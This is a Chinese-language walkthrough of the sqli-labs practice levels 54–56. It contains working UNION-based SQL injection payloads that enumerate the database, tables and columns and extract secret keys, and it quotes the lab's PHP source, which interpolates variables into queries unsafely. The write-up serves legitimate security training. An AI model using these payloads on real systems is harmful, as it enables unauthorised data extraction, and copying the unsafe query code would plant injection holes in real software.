sqli-labs通关汇总-page4
时间:2023-05-29 05:37:00
??less-54(GET类型、单引号、联合查询)
??less-55(GET类型、数字括号、联合查询)
??less-56(GET型号、单引号括号、联合查询)
less-54
标题:GET - challenge - Union -10 queries allowed - Variation1
有趣的是,只允许10个查询
第一步:测闭合
?id=1'
无回显,排除双引号闭合
第二步:测闭合
?id=1"
排除数字闭合,确定为单引号闭合
第三步:测闭合
?id=1' --
确定为''
闭合
第四步:测量查询语句字段数
这个很迷人。如果你运气不好,你就无法测量。这个时候还是用的。二分法
去测吧
?id=1' order by 4 --
报错,说明查询语句字段小于4
第五步:测量查询语句字段数
?id=1' order by 3 --
查询句的段数为3个
第六步:测量前端回显位置,顺便回显数据库
?id=-1' union select database(),database(),database() --
获取数据库名称challenges
第七步:获取表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --
得到表名为rt85c5veac
第八步:获取字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='rt85c5veac'),3 --
得到字段名:id,sessid,secret_F5D9,tryy
有个叫秘密
的字段名
第九步:获取字段值
?id=-1' union select 1,(select group_concat(secret_F5D9) from rt85c5veac),3 --
得到key:e3GqUNpU23vQcA9K2fGxOrNz
提交
OK
看一下源码
不完全贴,先看index.php
这个文件的代码和以前一样
除了数据库用的是$dbname1 = "challenges";
,都是一样
我们看一下functions.php
定义了很多方法,我们先来看看主函数部分
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; //charset for dynamic generation of strings // Generating a dynamic alfanumeric Table name with each purge. $table = num_gen(10, $characters) ; // Generating Secret key column. $secret_key ="secret_".num_gen(4, $characters);
//retrieve dynamic table name from database.
定义了个字符串$characters
调用了num_gen
方法,
1.num_gen()
function num_gen($string_length, $characters)
{
$string = '';
for ($i = 0; $i < $string_length; $i++)
{
$string .= $characters[rand(0, strlen($characters) - 1)];
}
return $string;
}
该方法生成一个在ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
字符中的长度为$string_length的随机字符串
$table
生成了一个长度为10的随机字符串
$secret_key
生成了一个程度为4的随机字符串
我们在看一下其他方法
2.table_name()
function table_name()
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql="SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname1'";
$result=mysqli_query($con1, $sql) or die("error in function table_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function table_name() output". mysqli_error($con1));
else
return $row[0];
}
该方法查询challenges
库中的所有表,并返回第一个表
3.column_name()
function column_name($idee)
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$table = table_name();
$sql="SELECT column_name FROM information_schema.columns WHERE table_name='$table' LIMIT $idee,1";
$result=mysqli_query($con1, $sql) or die("error in function column_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function column_name() result". mysqli_error($con1));
else
return $row[0];
}
该方法查询challenges
库中的第一个表
的字段,$idee
限制输出第几个字段,并返回字段名
4.data()
function data($tab,$col)
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql="SELECT $col FROM $tab WHERE id=1";
$result=mysqli_query($con1, $sql) or die("error in function column_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function column_name() result". mysqli_error($con1));
else
return $row[0];
}
该方法用来查询$tab
表,返回$col
字段值
5.next_tryy
function next_tryy()
{
$table = table_name();
//including the Mysql connect parameters.
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql = "UPDATE $table SET tryy=tryy+1 WHERE id=1";
mysqli_query($con1, $sql) or die("error in function next_tryy()". mysqli_error($con1));
}
该方法使id=1
的try
字段的字段值+1
6.view_attempts
function view_attempts()
{
include("../sql-connections/sql-connect-1.php");
$table = table_name();
$sql="SELECT tryy FROM $table WHERE id=1";
$result=mysqli_query($con1, $sql) ;
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function view_attempts()". mysqli_error($con1));
else
return $row[0];
}
该方法查询id=1
的try
字段的字段值,并返回
我们看一下主页面index.php
$pag = $_SERVER['PHP_SELF'];
代码 | 描述 |
---|---|
$_SERVER[‘PHP_SELF’] | 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/test.php/foo.bar 的脚本中使用 $SERVER[‘PHP_SELF’] 将得到 /test.php/foo.bar。_ FILE __ 常量包含当前(例如包含)文件的完整路径和文件名。 |
我这里$pag
的值是
/sqli/Less-54/index.php
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
$time
用来限制查询次数的
$table
用来获取challenges
的表名,表只有一个
$col
和$col1
分别来获取两个字段名,后面有注释,分别是session id
和secret key
'answer_key'
是
下面这个Submit
,没点击前是没有值的,所以if
后面语句才能执行
'reset'
是
前面重制关卡的按钮,不点也是空,所以if
后面也不会执行,如果点了,提交了,就会重新发个cookie
后面这一部分,如果cookie不为空,则给cookie内添加表内session id
的值,和一个月的时间
获取前端传来的id
值,若存在
执行next_tryy()
方法,表中tryy值+1
并执行view_attempts()
方法,回显tryy值
下一步,判断tryy
值是否超过10次,超过就删掉cookie,重新跳转页面,前面$pag
获取的路径就是用在这的
后面这一部分就是常规的查询,前端回显值
再后面这部分是处理,提交key
是否正确的代码
非常有意思的是他这边分别用
addslashes()
和mysqli_real_escape_string()
做了两次转义,没想明白有什么用,但此处提交
可以发现此处是存在xss漏洞
的
less-55
GET - challenge - Union - 14 queries allowed - Variation 2
第一步:测闭合
?id=1'
无回显,排除双引号闭合
第二步:测闭合
?id=1"
无回显,排除单引号闭合,确定为数字型
第三步:测闭合
?id=1 --+
无回显,继续加括号
第四步:测闭合
?id=1) --+
有回显,可以确定为()
闭合
第五步:测查询语句字段数
?id=1) order by 4 --+
说明查询语句字段数小于4
第六步:测查询语句字段数
?id=1) order by 3 --+
说明查询语句字段数为3
第七步:测前端回显位置,顺带着回显数据库
得到数据库名challenges
第八步:获取表名
?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+
得到表名为b6gqo9qti7
第九步:获取字段名
?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='b6gqo9qti7'),3 --+
得到字段名id,sessid,secret_UHTF,tryy
第十步:获取字段值
?id=-1) union select 1,(select group_concat(secret_UHTF) from b6gqo9qti7),3 --+
得到key:UUN75bQF8s7z116LDOpgUNp7
做到这突然想起一个事情,包括54关
这里顺带回显数据库是不对的,因为无法确定回显位置是1,2,3
中的哪两个
还有55关与54关除了闭合没什么区别
less-56
标题:GET - challenge - Union - 14 queries allowed - variation 3
第一步:测闭合
?id=1'
无回显,排除双引号闭合
第二步:测闭合
?id=1"
有回显,可以排除数字型,确定为单引号闭合
第三步:测闭合
?id=1' --+
无回显,继续加括号
第四步:测闭合
?id=1') --+
有回显,说明是('')
闭合
第五步:测查询语句字段数
?id=1') order by 4 --+
报错,说明查询语句字段数小于4
第六步:测查询语句字段数
?id=1') order by 3 --+
有回显,说明查询语句字段数为3
第七步:查看前端回显位置
?id=-1') union select 1,2,3 --+
2,3
处存在回显
第八步:获取数据库名
?id=-1') union select 1,database(),3 --+
得到数据库名:challenges
第九步:获取表名
?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+
得到表名:5ickf0b94k
第十步:获取字段名
?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='5ickf0b94k'),3 --+
得到字段名:id,sessid,secret_PK1F,tryy
第十一步:获取字段值
?id=-1') union select 1,(select group_concat(secret_PK1F) from 5ickf0b94k),3 --+
得到key:ZHMul4PlVGOjx8USXcH5Rgy6
和55关、54关一样,仅仅是闭合变为了('')
less-57
GET - challenge - Union - 14 queries allowed - Variation 4